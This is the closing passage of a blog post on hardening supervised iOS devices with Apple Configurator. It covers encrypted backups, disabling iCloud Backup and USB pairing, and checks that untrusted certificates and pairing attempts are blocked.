If you've decided to supervise your device, prevent iCloud Backup as well as pairing to iTunes, use the Configurator to back your device up.

If you select your device, you should now see all the information about it, such as serial numbers, IMEI, and the fact that pairing is not allowed.


Click "Encrypt Local Backup", and configure a good password.



The backup password will be pushed to the phone, and a backup will be performed. Be sure to perform future backups frequently and that your password is stored safely.



To see how the changes we performed impact the behavior of the device, here are some examples.


Browsing to a HTTPS site with a self-signed certificate


As you can see, it fails, and does not allow you to make a dangerous decision consciously or by mistake.



Trying to enable iCloud Backup

Weirdly, there seems to be a bug in iOS 9.1 that will show iCloud Backup as active on the iCloud pane, but when you drill down, you see it is disabled but greyed out. IMG_0005.PNGIMG_0006.PNG



If you've prevent pairing, simply try to connect your device via USB to another computer you own, start iTunes or Photos and try to interact with it. The Trust modal dialog should not appear, and data will not be importable.


Final Words

In a world where most people use cloud services for things such as music streaming and photo storage, USB connectivity is less important than ever before for phones and tablets. As people travel with these devices more and more, attacks on the networks they connect to, or on the physical devices themselves, are more and more probable.


If you enable all of these features, you now have an iOS device that is less susceptible to man-in-the-middle attacks to steal data or credentials, that is more resistant to adversaries that might want to back it up to a computer to dig into the backed up data, is slightly better at handling websites securely, and that will enforce your backup strategy and be protected against malicious enterprise applications.


If you've only opted for the settings that did not require supervisions, you still have an improved posture, and I hope you will decide to supervise your next iOS device, as soon as you open the box!


Special thanks to Jimmy Vo for reviewing, and to Brendan O'Connor for commenting and making me realize that this article should be written.

Filter Blog

By date: By tag: